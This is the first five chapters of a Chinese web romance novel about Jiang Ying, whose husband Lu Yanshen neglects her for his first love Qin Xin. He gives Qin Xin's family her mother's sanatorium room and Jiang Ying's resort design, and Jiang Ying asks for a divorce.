《冷婚三年说不爱,提离婚你哭成狗?》
第1章 醒悟
深冬,江北迎来了第一场大雪,扬扬洒洒。
云罗山道上,树枝被吹得簌簌作响,风声裹着雪粒拍打着车窗。
江莹无措地缩在座椅里,一手擦拭额头上的血,一手拿着手机打电话。
路滑导致追尾,幸好司机反应快,撞上护栏那一刻猛打方向盘,一头撞在树上才没冲下山崖,否则今天小命就交代了。
电话在打第四遍时,总算接通。
江莹开口,有些想哭,“砚深……”
没等她话说完,陆砚深低沉不耐烦的声音传来,“马上要开会,别再打。”
“砚深,你能不能……”来接我。
她后面的话还没有说出口,陆砚深的声音冷硬,明显不悦,“不能!江莹,你除了问我什么时候回家,想吃什么,是不是就没事可做了?”
是江莹熟悉到骨子里的腔调,但此刻听到,异常刺耳。
“不是,”江莹语气沙哑,透着脆弱,“我……”
陆砚深没有察觉她的异样,嗓音里夹着冷笑,“一天到晚盯着我,连我穿什么内裤都要管,你活着就这点追求?”
江莹呼吸一窒,压在伤口上的手猛然滑落,心脏密密麻麻疼了起来。
早就知道自己在他眼里一无是处,如今亲耳听见还是不一样的。
再坚硬的心,被人这样糟践,也做不到无动于衷。
电话里沉默一瞬,江莹吸了吸鼻子,平静道:“车子追尾了,想让你接我。”
听到她的话,陆砚深顿了一瞬,开口依旧没什么温度,“我走不开,让司机处理。”
电话挂断,江莹浑身都在哆嗦,额头上的血顺着鬓角往下流。
今天是陆砚深的生日,也是他母亲的忌日,所以他从不过生日。
三年了,江莹每年都悄悄上山,去庙里为他求一道平安符。
她总以为,时间久了,冰也能被焐化。
哪怕只是一点点。
现在看来,并没有。
司机跟对方沟通完上车,顺势钻进来的寒气,让江莹回神。
“太太,我叫了拖车,雪大路滑,不确定什么时候到。”
江莹看看身后同样停滞的车,默默汲了口气,轻声道:“车里还有点余温,走下去不现实,我们等会儿吧。”
空寂的山道上两辆车一前一后停着,车顶覆了一层雪。
天色渐晚,雪越下越急,车里温度消耗殆尽,寒意渐浓。
江莹看看时间,已经过去四十分钟,心想应该快到了。
抬头望向绵长的山道,隐隐看到远处有车上来,她挺了挺脊背,盯着那辆缓缓靠近的车子。
直到车子停稳,挺拔颀长的男人从车里下来。
江莹已经平静的心扑通扑通狂跳起来,他竟然来接她了。
三年婚姻,一千多天的陪伴,陆砚深是不是开始接受自己了?
她推开车门,寒风卷着雪片扑面而来,却觉得心底渐渐回暖。
只是还没来得及下车,一抹淡紫色身影从她身侧掠过,像一只翩跹的蝶,背影雀跃。
女人俨然欲泣的甜软声音在冷冽的风中格外动听,“砚深,你总算来了。”
她刚跑过去两步,脚下打滑,直直往前扑倒。
大步走来的陆砚深,急忙迎上去将人接住,稳稳抱在怀里。
江莹看着眼前拥抱在一起的两个人,心里倏然收紧。
她从车里下来,男人责备又担忧的声音传来,“这么冷的天到山上来做什么?”
抱着他的女人哽咽,声音破碎又娇气,“今天是你生日,我想给你求一个平安符,你别怪我好吗?”
陆砚深放在女人背后的修长手指顿了顿,然后又缓缓用力,明眼人都能看出他将人抱得很紧。
江莹的动作僵在车门边。
看着他下意识收紧的手臂,微微低垂满是担忧的侧脸,呼吸停滞。
那样紧张的神情,她从未在自己身上见过。
她尚未缓过劲儿,一道清脆稚嫩的童声,脆生生划破空寂,兴奋中是藏不住的颤抖。
“妈……妈!”
两三岁的小男孩,被一个中年女人抱着朝前面的人走去。
陆砚深怀里的女人转身回望,脸上带着甜甜的笑。
这个女人,江莹认识,是陆砚深一直放在心尖上的人。
秦欣,她有孩子了……
一个念头在脑子里轰然炸开!
三年前,奶奶拉着她去陆家逼婚,陆砚深迫于压力答应联姻。
人人都说江家挟恩图报,为了攀附陆家,拆散了一对有情人,却没有人知道当时的她有多兴奋。
但他跟秦欣的事,江莹确确实实不知道,是结婚后才听说的。
要不然,陆爷爷问她喜不喜欢陆砚深时,她不会点头,不会让他迫于压力娶自己。
强扭的瓜不甜,即便跟家里闹个鱼死网破,她也不会走出那一步。
江莹不禁想起,三年前婚礼上,陆砚深漫不经心地替她戴上戒指,在她耳边凉薄低语:“江家需要陆氏注资,我需要一个得体的太太,仅此而已。”
她天真地以为,既然结婚了,就代表着重新开始,那个曾经照亮她的少年,只是需要时间接受她。
然而,三年陪伴,那颗冷硬的心,她始终没有捂热。
陆砚深扶着秦欣朝着孩子走过去,抬手把孩子接过,裹进自己大衣里。
“爸爸怀里好暖和。”
心中疑惑被证实,心脏瞬间被揉成一团。
三年婚姻,沉浸其中的只有她自己,陆砚深心里从来没有她。
这三年,秦欣始终是他们婚姻里的一根刺,不可触碰,越长越深。
江莹僵硬地站在车门口,看着眼前这一幕,冬日的冷冽抵不过心底的寒凉。
司机想上前,被她一把拽住。
雪花落在她脸颊,她已经感觉不到冷,只是僵硬地站在风雪中,看着几米外温馨的画面。
“快上车,手都僵了。”
陆砚深一手抱着孩子,一手拉着秦欣,声音温柔又怜惜。
从头到尾都没有看她一眼,哪怕是余光,都不曾在她身上停留。
眼角有水珠滑落,像泪,却没有温度。
“太太,陆总要走了,再耽误下去我们……”
她紧了紧自己身上的大衣,苍白的脸色如同此刻漫天白雪。
“车里没位置。”
江莹开口,嗓音沙哑低沉。
看着自己丈夫上车,带着他的心上人和孩子离开,江莹原本紧缩的心脏,缓缓放松。
若是以前,她会毫不犹疑冲过去质问陆砚深,他怎么可以出轨,怎么可以有私生子?
而陆砚深不爱她,对于她的质问也从不理会,他只会觉得她无理取闹转身离开,留给她无尽的怨怼和黑夜。
所以,此刻的江莹不想问了,因为在陆砚深心里,她始终是个毫不重要的外人。
若不是一心牵挂着秦欣和孩子,他又怎么会看不到站在一旁的她?
刚刚心底泛起的那点涟漪,那丝温暖荡然无存。裹着雪的风,冰冷又无情地拍在她脸上,一下又一下中把她拍醒。
司机看着前面的人上车,心里着急,雪越下越大,封山后几天都别想下去。
更何况他们现在上山难,下山也难。
“太太,你穿得单薄,而且有伤,这么冷的天怎么受得了?不如跟陆总挤挤,他是没有看到你。”
挤挤?
陆砚深应该会答应,但她不愿意。
江莹看着陆砚深的车,渐行渐远,嘴边突然漾起一抹笑。
笑自己不自量力,也笑自己像个可怜的小丑。
她不由得想起母亲曾经跟她说过的话。
“莹莹,人生最不能勉强的是真心。”
“婚姻里,没有对与错,我不怨你爸,你也别怨恨。只有心中敞亮,才能活得自在。”
江莹看着漫山白雪,深深呼出一口白气,“不好意思,今天连累你了。”
她说完,抬步向前,每走一步,心里坚定一分。
第2章 陆总在外面没吃饱
江莹两步一滑地下山,身上白色的羊绒大衣,脏不可言。
额头的伤,已感觉不到疼,反而越来越清醒。
拖着发麻的身子到家,已经是晚上十一点。
佣人王嫂看她狼狈不堪,浑身哆嗦,吓了一跳。
“太太,这是怎么了?”
江莹不想多说,勉强挤了个笑,“没事,我上去洗个澡。”
“我给你煮姜汤。”
王嫂看她唇色发紫,即便担心也不便多问。
江莹拖着沉重的步子上楼,关上卧室门的那一瞬,她后背贴着门板缓缓坐在地上,失去了所有力气。
屋里的暖气,让她冻透的身子渐渐发麻,整个人开始有了知觉。
她将脸埋进膝盖,眼泪不争气地打湿了脏兮兮的大衣下摆。
到了山下叫不到顺风车,被一个骑摩托的好心大婶送到了小区附近,下车时腿都是硬的。
良久,江莹抹了抹脸上的泪,起身走进卫生间。
她盯着镜子里狼狈的自己,头发凌乱,额头沾着血渍,不吓人,就是看着挺惨。
弯唇浅笑后,去洗澡。
淋浴水从头顶浇灌而下的瞬间,江莹红唇抿紧。
一身疲惫,一身寒凉,都可以缓解。
唯有心底,依旧是痛过之后的酸楚。
身上暖了,嗓子却越来越疼,从浴室出来脚步发虚。
简单处理完额头上的伤口,喝了王嫂放在床头的姜汤,拿起手机去充电。
入目的消息让她动作一顿。
发消息的人是秦欣。
【今天是砚深生日,我亲手做了蛋糕,砚深说甜而不腻,他很喜欢。本来想让他尝尝意思一下,结果他吃了一大半,麻烦你备点胃药,我怕他胃酸。】
【哦,对了,今天路滑不小心撞了你的车,跟你道个歉。给砚深求了个平安符,他说会时刻带在身上。】
彻骨的寒意再次从心底腾起。
曾经为了给陆砚深庆生,她学了很久的烘焙,当她端着自己做的蛋糕放在他面前时,陆砚深阴沉冷冽的声音,至今清晰。
也是因此,知道陆砚深从不过生日,她才把所有爱意化作一个平安符,挂在他车里。
刚开始陆砚深很嫌弃,不同意她挂,是在他欲罢不能时,江莹作为条件让他答应的。
握着手机,指尖微颤。
不是不喜欢,也不是不能破例,只是她不是那个让他破例的人。
她拿起床头柜上今天求来的平安符,摩挲着上面醒目的四个字:至此终年。
第一年她求的是:愿君心安,第二年是:盼君回顾。
现在再看,只觉手里的四个字格外刺眼。
扔下平安符,江莹躺下睡觉,浑身疼不说,身体阵阵发寒,是感冒的症状。
男人留不住,再跟自己身体过不去,得不偿失。
迷迷糊糊中,感觉旁边的位子塌陷下去。随着陆砚深躺了下来,她渐渐清醒。
同床异梦,在此刻具象化。
下一秒,陆砚深翻身压在她身上,灼热的气息扑面而来。
紧接着,微凉的大手直接从她睡衣下面伸了进去,一寸寸往上,落于敏感。
男人气息紊乱,吻她的动作加深,室内气氛渐渐暧昧,旖旎。
江莹闭着眼,黑夜中感官无限放大,淡淡的红酒味儿,让她攥紧了拳头,张嘴狠狠咬了下去。
陆砚深没有防备,一阵吃痛,瞬间松开她。
“江莹!”
“陆总在外面没吃饱?以前怎么没见你这么能折腾?”
几个月不碰她的人,偶尔来一次,还会盯着她吃事后药,现在想来或许是人家在外面吃饱了。
江莹的话外音,陆砚深听得出来。
捂着嘴,拧眉瞪她,嗓音暗哑透着凉薄,“你不就喜欢我在你身上失控?”
四目相对,室内光线昏暗,却依然能看清彼此的脸。
这个男人无疑是好看的,皮相与骨相兼具,矜贵的气质如深秋的朗月,光华无限。
江莹看着那张蛊惑人心的脸,暗骂自己不争气,怎么就被一张皮迷惑,还一头栽在他身上这么多年。
对于他这样的态度,曾经江莹习以为常,但此刻她不想忍受。
红唇微勾,嗓音含笑,“以前是挺喜欢的,现在不感兴趣,我怕得病。”
陆砚深目光沉沉落在她明艳的脸,愣怔片刻后嘴角微微弯起,似笑非笑。
“给你机会,还矫情上了。”说话间,眉眼附上一层嘲讽,“说吧,又想要什么?”
江莹心想,看来他心情很好,要不然被咬了不但不生气,反而主动问她要什么。
以前找江家有求于他,都是在他餍足之后,江莹趁兴开口,他才实施一般不冷不淡点头。
此刻听到他嘲弄的声音,气不打一处来,于是手脚并用,直接将人从身上踹了下去。
陆砚深显然没想到她会来这一出,整个人趴在地上,一脸阴沉地看着起身扯被子的女人。
“江莹,你出息了。”
江莹勾唇,“不比陆总,端水大师,家里家外两不耽误。”
陆砚深盯着她两秒钟,蹭地一下从地上站了起来,眸色冷冽。
若不是刻在骨子里的教养不允许他对女人动手,江莹真怕下一秒他就会给自己一耳光。
“别阴阳怪气的,没你想的那回事。”
江莹脸上波澜不惊,藏在被子里的手却紧紧拽着床单。
孩子都叫爸爸了还没有那回事,渣男语录。
她莞尔,“我想什么了?陆总不如说清楚点。”
“无聊!”
陆砚深懒得跟她扯,被她一脚踹得没了兴致,转身去了客房。
在他看来解释是无聊的,多余的,是他陆砚深一直以来的态度。
江莹望着窗帘,一缕光悄然漫过纱帘褶皱,像一尾游弋的流光,在她垂落的睫毛上映出一抹微弱的光亮。
……
第二天早上,江莹因为身体不舒服,加上睡得晚,比平时晚起了半小时。
意识到自己发烧,她请了半天假,想吃过早饭去趟医院。
下楼时,陆砚深晨练回来。
他这个人自律的可怕,无论晚上睡得多晚,早上都能准时起床,雷打不动。
这一点,江莹不得不佩服。
她睨了男人一眼,拿着杯子去接水,整个人头重脚轻。
餐桌两端,两人谁都没有说话,各自看着手机。
江莹在看离婚协议模板,陆砚深在看早间财经新闻,时不时掀起眼皮扫一眼。
“头上怎么了?”
昨晚光线暗没看到,现在才发现她靠近鬓角处有伤,被头发遮住,时隐时现。
“磕的,死不了。”
江莹看手机,不看他。
陆砚深皱眉,“江莹,这段时间是不是太纵容你了?”
昨晚又是咬又是踹,他没生气,她还来劲了。
“多谢陆总给脸。”
嗡……
手机震动声打破了两人之间的剑拔弩张。
陆砚深微微蹙眉,敛了情绪,拿起手机,“怎么了?”
声音里是关切。
对方说了什么,江莹没听清,但可以肯定是个女人。
“我马上过去。”
他放下手里的筷子,起身离开,甚至没再给她一个眼神。
江莹弯唇,想起之前看到过的一句话:每个人心底都有一处柔软的角落,没有给你,就是给了别人。
葱白的手指刚点击下载,疗养院护工刘姐打来电话。
电话接通,刘姐急切的声音传来,“莹莹,你妈昨晚在雪地里站到半夜,这会儿高烧不退,昏迷不醒。”
第3章 陆总,丈母娘夸你呢
江莹赶到疗养院已经九点,刘姐正焦急地等在病房外。
“莹莹,医生还在给你妈检查。”
江莹把包递给她,急匆匆往病房里走。
毕业前夕,她被导师选中去参加逍遥楼的遗址复原,送她去现场的路上发生车祸。
若不是母亲江岚把她护在身下,那场车祸里她怕是早就去阎王那儿报道了。
事故中,母亲重伤昏迷,舅舅当场死亡。
出事后母亲一直昏迷不醒,医生说很有可能是植物人,让他们做好心理准备。
她还没有从悲伤中缓过劲儿,父亲就带着他的外室和孩子登堂入室。
并用母亲的医药费和舅舅一家的开销威胁她嫁给陆砚深,成为他稳固公司收益的工具。
江莹原以为是一举两得,既能让自己嫁给所爱之人,又能护自己的亲人周全。
没想到,陆砚深早已心有所属。
母亲醒来是车祸后半年,当时她已经跟陆砚深结婚。
因为大脑受损,人醒了意识却没有恢复,呆呆愣愣。
所以,这几年一直住在疗养院。
病房里,医生在给江岚做检查,江莹看着静静躺在床上的人忧心不已。
“医生,我妈怎么样?”
医生暗暗摇头,“风寒引起的高烧,但也不至于一直昏迷不醒。不过各项指标都正常,就跟睡着了一样。所以先不要着急,再观察观察。”
医生的结论让江莹不知道该不该相信,谁能睡着了一点反应都没有,任凭你怎么叫都不带动一下的?
但现在除了等,也没有别的办法。
医生走后,好友梁玥打来电话。
“宝儿,我出差回来了,中午去找你一起吃饭。”
江莹暗暗吸了一口气,语气很轻,透着疲惫,“今天不行,在我妈这儿。”
“又是周末怎么跑那里去了,是不是出什么事了?”
康宁疗养院距离市区不算近,江莹在陆氏建筑设计部工作,没事不会跑过去。
“我妈高烧一直不退,还昏迷了。”
“那我去看看阿姨,刚好也有好久没去看她了。”
江莹没有拒绝,她心里压着石头,梁玥是她最好的倾诉对象。
两人从高中到现在,除了男人不能共用,其他都能。
梁玥到的时候,江岚已经醒了,也开始退烧。
“阿姨怎么回事?”
“自己吃了安眠药,幸好里面只剩三片。”
梁玥瞪大了眼睛,有些后怕。
一直昏睡,又找不到原因,江莹就去查了监控,看到江岚半夜从外面回来,自己在吃药。
于是让刘姐去检查药,才发现她吃的是安眠药。
虚惊一场后,江莹紧绷的神经放松下来,整个人精神萎靡。
梁玥看着她苍白的脸,透着明显的虚弱,很担心。
“莹莹,是不是不舒服?”
江莹点头,“感冒了,刚刘姐让我吃了退烧药。”
“你怎么也感冒了?”梁玥抬手试探她的额头,“好烫啊。”
梁玥将人抱住,这些年,江岚住在这里江家没有一个人来看她,什么事都是江莹一个人忙前忙后,连个可以依靠的人都没有。
她那个便宜爹薄情寡义,若不是因为江莹嫁给了陆砚深,怕是早就不再管她妈和舅舅一家。
原以为她结了婚,还是嫁给了自己偷偷喜欢的人,日子会好起来,没想到陆砚深心里有人,甚至怨恨她拆散了他和他的心上人。
“我没事,吃了药等会就好了。”
江莹虽然脸上挂着笑,但明显的疲惫让梁玥心疼。
“你睡会儿,我看着阿姨,让刘姐做饭。”
梁玥把毯子盖在她身上,刚扶着人躺下,护士推着一个病人过来。
“江小姐,不好意思,院长说让你妈换间病房。”
江莹有气无力地坐了起来,“好好的为什么要换病房。”
她们这一间是VIP,一室一厅。
江莹担心母亲身体,专门选了带厨房的,刘姐可以按照母亲的口味给她做一日三餐。
“这是院长亲自安排的,秦夫人的腿摔伤了需要在这里疗养三个月。你也知道,我们这里的VIP病房一直很紧缺,院长听说了你母亲的情况,觉得没有必要住在VIP病房,所以让你们搬出去。”
“我妈已经熟悉这里的环境,状态也比之前稳定,突然换病房,对我妈也是有影响的。何况这个月的费用,我已经交过了。”
“费用我女儿和女婿可以双倍赔你,不会让你吃亏。”
坐在轮椅上的周梅开口,语气慈爱,“我这腿得有人照看,普通病房护工和阿姨住不下,你体谅一下。”
“江小姐,不要为难我,这是院长的决定。我就是通知你,并带秦夫人过来看看病房。”
护士脸上的为难,江莹不是看不到,但总得有个先来后到。
她刚要开口争辩,走廊里传来说话声:“陆总放心,我们这里的VIP病房条件和设施最齐全,有二十四小时的医生和护士。”
“张院长费心了。”
男人低沉的声线,是江莹刻在骨子里的熟悉。
“怎么还站在门口?”
院长看到贵人站在门口,声音不悦。
“没关系,总要跟对方商量一下。”秦夫人笑容温婉大方,慈眉善目。
“这有什么好商量的,其他患者都比叶女士情况严重。”院长有些不耐烦,“小吴,赶紧让人把病房腾出来。”
说完转头看向陆砚深,“陆总,您进去看看条件?”
“陆总?”
梁玥转头看着江莹,那个声音他能听出来,江莹不会听不出来。
江莹望着窗外,看到了站在陆砚深身后的秦欣。
“不用,秦夫人满意就好。”
男人说完,转身去接电话。
梁玥被气笑了,这狗东西为了他的心上人要将自己丈母娘赶走。
“小姑娘,你妈手脚方便,就让我两个月。”
“对对对,两个月后,你们想住还可以住。”院长附和。
江莹咬唇看着窗外,依稀还能看到陆砚深的背影。
梁玥握住她的手,冷笑着看向周梅,“秦夫人,外面是你女儿女婿?”
提起外面的人,周梅眼里放光,“对,孩子很孝顺,我女婿听说我摔伤了,早餐都没吃忙前忙后帮我找医生。”
“而且不放心我在家,特意安排我来这里养伤。”
周梅言语里的幸福和喜悦丝毫不假掩饰。
梁玥磨了磨后槽牙,狗东西,自己丈母娘在这了住了快三年,他一次没来过,为了假丈母娘他倒是孝顺。
她刚准备怼人,江莹反手握住她的手。
很紧,像是用尽了全部力气。
她嘴角噙着一抹笑,手却没有一丝温度。
“陆总,丈母娘都这么夸你了,还不进来帮你丈母娘安顿安顿。”
第4章 捂不热
陆砚深听到江莹的声音,心口一滞。
她怎么会在这里?
梁玥握着江莹的手,冷笑,“陆总不会是听到自己老婆的声音,不敢进来了吧?”
周梅疑惑地皱眉,“你们两个说什么呢?你们认识我女婿?”
陆砚深抬步进去,秦欣紧跟在他身后。
看到江莹,陆砚深脸上闪过一抹复杂的情绪,“你怎么在这儿?”
江莹苦笑,“我妈在这里住了三年,我在这里很奇怪吗?”
自己丈母娘住在这里三年,他作为女婿从没来过,没想到第一次来竟然是作为秦欣的丈夫为她母亲安排病房。
“砚深,这是什么情况,她是谁?”
陆砚深脸上神色有些僵,看了一眼秦欣。
秦欣识趣乖巧地推着周梅离开,“妈,我们先出看看外面的环境,其他的事交给阿深,他会处理好的。”
“陆总,你是想让你现任丈母娘为你未来丈母娘腾地方?”
江莹声音冷淡,嘴角噙着一抹冷笑。
这个状态的江莹,陆砚深从来没有见过,一时间不知道该怎么跟她解释。
陆砚深转身看向院长,“张院长,麻烦你再找一间VIP病房,只要有人愿意让出,我可以赔偿。”
张院长为难,“陆总,我尽力。”
院长是个聪明人,看出这里面的端倪,赶忙去处理。
病房一时间只剩下江莹、陆砚深和梁玥三人。
陆砚深视线扫过梁玥,眉间露出一丝尴尬,看江莹神色清冷,淡淡开口:“你妈情况怎么样?”
“挺好的,要不然院长怎么会让我们让病房。”
江莹脸上平静没有什么情绪,看着陆砚深反而勾起了唇角,“陆总,你若是给得多,我或许也可以考虑搬走。”
梁玥握着她的手,是刺骨的凉。
一向火爆脾气的她没有说话,默默给好友温暖。
知道江莹爱陆砚深,所以该怎么做只能她自己决定。她若闹腾,难堪的是江莹。
陆砚深看着她嘴角的笑意,眸色冷了几分,“这件事我们回家再谈,我先去处理周阿姨的事。”
江莹看着自己喜欢了这么多年的男人,心口像是被塞了团棉花,强撑着脸上的笑意开口:“陆总,慢走,实在找不到可以回来商量,千万别让你丈母娘受委屈。”
陆砚深睨了她一眼,转头离开。
她说完这句话,泪水不争气地顺着脸往下滑。
梁玥紧紧握着她的手,心疼地想安抚,但一向话痨的她竟然找不到一句可以安慰她的话。
最终陆砚深怎么找到的病房不得而知,反正没有再回头找江莹。
中午,江莹跟梁玥吃过午饭离开疗养院。
车子刚开出去,助理薛婷婷打来电话。
接通电话,急切的声音传了进来:“江姐,你什么时候来公司?”
江莹听出她声音里的异常,开口问:“出什么事了?”
“刚刚,市场部的孙经理打电话过来,说蓝湾度假区的项目被叫停了。”
江莹愣了一瞬,这种情况不是没有过,但像蓝湾这种规模的项目,怎么可能说停就停?
“我在去公司的路上,到了再说。”
蓝湾项目,她付出了很多,从方案到定稿,图纸不知道修改了多少个版本。
生理期那几天肚子疼得腰都直不起来,她都咬牙坚持到把图纸画完,建好三维模型。
突然叫停,江莹心里也难免接受不了。
她到公司时,薛婷婷在门口焦急地等着。
别人不知道,薛婷婷最清楚江莹为了这个项目付出了多少。
“江姐,孙经理就让我转告你,这个项目公司不做了。你说这叫什么事儿啊,我们付出这么多,连个解释都没有突然叫停。”
“先别急,我去找孙经理问问情况。”
江莹刚到市场部门口,陆砚深的助理杜宇,从里面推门出来。
点头错身之际,杜宇低声叫住她,“太太,是为蓝湾的事?”
江莹脚步顿住,也是这么重要的项目被叫停,杜宇身为陆砚深的特助怎么可能会不知情?
杜宇一副欲言又止的样子,让江莹明白,事情估计不简单。
她还没有来得及说话,薛婷婷小跑着过来。
“江姐,你看看这个。”
新闻标题:【秦氏千金学成归来,代表秦氏一举拿下蓝湾度假村项目】
视频里秦欣温婉可人!
她正对着镜头,侃侃而谈,身后是蓝湾度假村的三维效果图。
每一个角度,每一处细节,都跟江莹熬夜一笔一划勾勒出来的别无二致。
做方案那会儿,她得了急性肠炎,忍着腹痛也没有耽误进度,现在……
一股寒意,骤然从脚底窜起,瞬间冻结了四肢百骸。
杜宇刚才的欲言又止,此刻都有了清晰且残忍的答案。
原来,陆砚深为了秦欣,把她辛辛苦苦的劳动成果,拱手相送。
不是临时起意,怕是早有预谋。
阵阵寒意,江莹禁不住哆嗦。
薛婷婷担忧的声音在耳边响起,“江姐,你没事吧?”
江莹像是没听见,目光依旧死死锁着屏幕。
她的图,被另一个女人,当作自己的成果,在镜头前展示。
心口像是被一只无形的大手狠狠攥住,憋得她几乎喘不过气。
“江姐?”薛婷婷又叫了一声,伸手想扶她。
江莹猛地回神,推开薛婷婷,那双漂亮的杏眼里晕染着怒气。
“我没事。”
她转身,高跟鞋踩在光洁的大理石地面上,发出清脆而急促的哒哒声。
总裁办公室就在走廊尽头。
每靠近一步,江莹的心就疼一分。
她爱了这么多年的人,她的枕边人,为了另一个女人弃她于不顾,还在外面扮演者别人的好女婿,现在甚至连个招呼都没有就把她的设计方案直接送人,多可笑!
江莹走到门口,直接推开了那扇厚重的门。
坐在办公桌后的男人,五官英挺,矜贵疏离,带着与生俱来的优越感。
这张脸,她看了十年。
从懵懂的少女,到如今成为他的妻子。
她曾以为,就算捂不热他的心,至少也能在他心里留下一点痕迹。
可现实狠狠给了她一巴掌,她始终没法跟他的白月光比。
江莹深吸一口气,压下翻涌的情绪,径直走了进去。
陆砚深正在打电话,清冷的眉眼,此刻染上温柔。
“别担心,项目给了你,就放心大胆去做,一切有我。”
听到动静,男人抬头,深邃的眸子扫过来,视线在她脸上顿住,随即那抹温柔不复存在。
他挂断电话,睨了江莹一眼,“有事回家再说,等会儿还有个会。”
语气理由应当,是他一贯的居高临下。
江莹缓了好几秒,让自己平静下来,“陆总,我想知道,蓝湾的项目,为什么突然叫停?”
陆砚深放下手中的钢笔,身体向后靠在椅背上。
姿态从容,矜贵依旧。
“秦氏集团近两年亏损严重,需要一个稳赚不赔的项目来扭转局面。”
“蓝湾,是最好的选择。”
轻描淡写,却字字诛心。
病房没有抢走,辛辛苦苦带病熬夜做的项目,被他转手给了他的白月光。
她在陆砚深心里从来都不重要。
第5章 陆砚深,我们离婚吧
江莹强忍着喉咙里的哽咽,声音微微发颤,“那……我的设计方案呢?”
“为什么……也给了她?”
那是她的心血,是她熬了多少个日夜,牺牲了多少休息时间才完成的方案。
陆砚深拧眉,“江莹,方案是公司为蓝湾项目投入资源做出来的,属于公司资产。”
“现在项目不做了,方案留着也是一堆废纸而已。”
他的语气,理所当然。
“所以就打包送老情人。”江莹质问。
“别无理取闹,该给你的奖金我会补偿给你。”
陆砚深说着起身,转到她面前,嗓音凉薄,“还想要什么也可以直接说,你爸一直盯着我手里的人工智能项目,可以趁机提了。”
江莹只觉得一股怒火直冲头顶,烧得她理智全无。
她猛地往前一步,抬脚直接踩在他脚面上。
用的鞋跟,脚跟还碾转了一个圈。
若不是因为在公司给他留了脸,江莹不是踩脚,而是会给他一耳光。
从小到大没受过委屈,虽然爸爸和奶奶不喜欢她,但外公、妈妈、舅舅舅妈都爱她,甚至连表弟都宠她让着她。
长这么大,所有受得委屈都来自这个凉薄的男人。
“江……”
陆砚深一记吃痛,一把将人推开,转身回到自己的座位。
向来温顺的小猫,这会儿像个炸了毛的狮子,恶狠狠瞪着他。
他很不喜欢。
“江莹,摆清你自己的位置,你们家从我这里得到的何止一个蓝湾?”
陆砚深凉薄的声音,在江莹听来是嘲讽。
这场婚姻,本就是她一厢情愿,还要拖着一个江家。
在陆砚深心里,他们不过是依附于他的菟丝花,全都仰仗他的鼻息而活。
她有什么资格在这里质问他?
江莹只觉得浑身力气被抽干,脸上苍白如纸,嘴角扬起一抹自嘲的笑。
“陆总说的是,是我拎不清了。”
陆砚深的脸色稍稍缓和,手指轻点着桌面,但还是压着脾气说道:“秦家跟陆家是世交,秦家有难伸手帮一把,顺手的事。”
顺手帮一把,对待他的小青梅就是不一样,不计成本,更不在乎有会多少收益。
而她呢?
每次父亲找他合作都不冷不热,甚至很多时候都是在他餍足之后,自己开口他才赏赐一样勉强同意。
爱与不爱,就是这么明显!
江莹冷笑:“家里红旗不倒,外面彩旗飘飘,你这‘端水大师’,很称职。”
她语气轻飘飘的,却像利剑一样尖锐。
“雨露均沾,面面俱到,没生在古代可惜了。”
她看着眼前这个藏在自己心里的男人,再一次生出了彻骨的绝望。
是他燃尽了她的一腔热烈,亲手掐灭了残留的那点星火。
“陆砚深,我们离婚吧。”
这句话她本来是想给他送离婚协议时说的,但现在她压不住,也一刻都不想再等。
陆砚深还没有来得及对她雨露均沾的说法做出回应,就听到她说离婚。
声音平静,有他从未听过的冷漠。
他神色微微错愕。
江莹并不是一个特别理性的人,甚至是有些矫情,还有些娇气。
她看电视都能一会哭一会儿笑,上床时可以主动勾引他,但一来真的又羞得不行。
针扎一下手都眼泪汪汪跑到他身边求抱抱。
高跟鞋磨破了脚,想方设法要让他抱着走。
陆砚深一度给她定位是又怂又作。
当然这都是在他面前,所以他从来不怀疑,江莹很爱他,很想粘着他。
但,对于此刻江莹耍小性子,他很不耐烦。
“江莹,闹脾气也要有个度,适可而止。昨晚到现在,我的忍耐是有限的。”
江莹看着他幽深清冷的眸子,心口蔓延着苦涩。
在陆砚深心里自己是有多贱,会让他觉得面对接连的羞辱,她就应该受着。
“陆砚深,我说真的,你考虑一下。”
陆砚深脸上蒙了一层霜,“你爸同意吗?”
他总是能轻而易举抓住江莹的软肋,别说张启明不会同意,估计知道了还会千方百计阻挠。
这三年借着陆砚深岳父的头衔,拉到不少项目不说,还总找江莹要陆氏的合作。
张启明只投钱,从不参与任何管理和运作,说白了就是坐收渔利。
三年时间,江氏的资产直接翻番。
江莹心里明白,这也是陆砚深一直瞧不上她的原因之一。
“我能自己做主,不劳陆总费心。”
江莹对上他的视线,嗓音含笑,“我们没有孩子,好聚好散。你的小青梅带着孩子藏得挺辛苦,我也不是非要巴着你放。就当回好人,让你们一家团聚,我拿钱走人。”
“我不贪心,三年分我三个亿,你再婚,我会给你包个大礼。”
红唇轻启,嗓音柔软,让陆砚深有那么一瞬间恍惚。
“我写好离婚协议,到时候麻烦陆总签个字。我们一拍两散,婚丧嫁娶各不相干。”
她说完转身离开,脊背笔直,努力让自己从容优雅。
陆砚深望着那抹纤细的背影,抬手轻轻捏着眉心。
江莹走到门口,转头笑道:“哦,对了,我售后意识超好,你的小青梅若是修图什么的,我可以配合,收费的哦。”
看着那抹模糊的笑,陆砚深脸色更黑!
就一个项目,于陆氏而言,可有可无。但对秦氏就是救命稻草,他不可能看着秦家倒了。
陆砚深心烦,结果已定,随她闹吧。过两天自然就好了,她怎么可能舍得离婚。
江莹从陆砚深的办公室出来,整个人瞬间软了下来。
她拖着沉重的步子回到办公室,忍着不适开始写辞职报告和离婚协议。
薛婷婷气呼呼地站在她办公桌前,为她鸣不平,“陆总也太不地道了,拿着我们的方案讨女人欢心,既然这么喜欢为什么不直接把人娶回家,接管秦氏不是皆大欢喜。”
江莹深吸一口气,“或许他不敢,怕犯罪。”
“犯什么罪,结个婚又不犯法。”薛婷婷想不通。
江莹没有心情跟她说太多,嘱咐道:“我会把在手的项目整理一下,你好好做。”
“江姐,你什么意思,你该不会要离职吧?”
江莹莞尔,“累了,休息一段时间。”
薛婷婷舍不得江莹,她好说话,业务能力又强,整个设计部的人都很喜欢她。
但公司这么做,确实很伤人。
“江姐,你要离职了带上我,你去哪儿,我跟你去哪儿。”
“陆氏给的工资不低,没有几家会给这么高,别受我影响,你好好干。”
下班前,江莹将蓝湾所有的资料、辞职报告和离婚协议,放在了陆砚深的办公桌上。
陆砚深不在,总裁办的人说,他提前半个小时就出去了。
江莹扯唇,不用想也知道,肯定是参加秦氏的庆功宴了。
没有陆氏担保,秦氏怎么可能拿得到这么大的项目。
江莹在公司坐了很久,她的工作在陆砚深心里可有可无,不过就是个小小的设计员。
但这份工作是她通过自己的努力面试进来的,当时只为能够离他近一些,即便跟自己的专业不是特别符合,但她一直很努力,甚至做到了项目组组长。
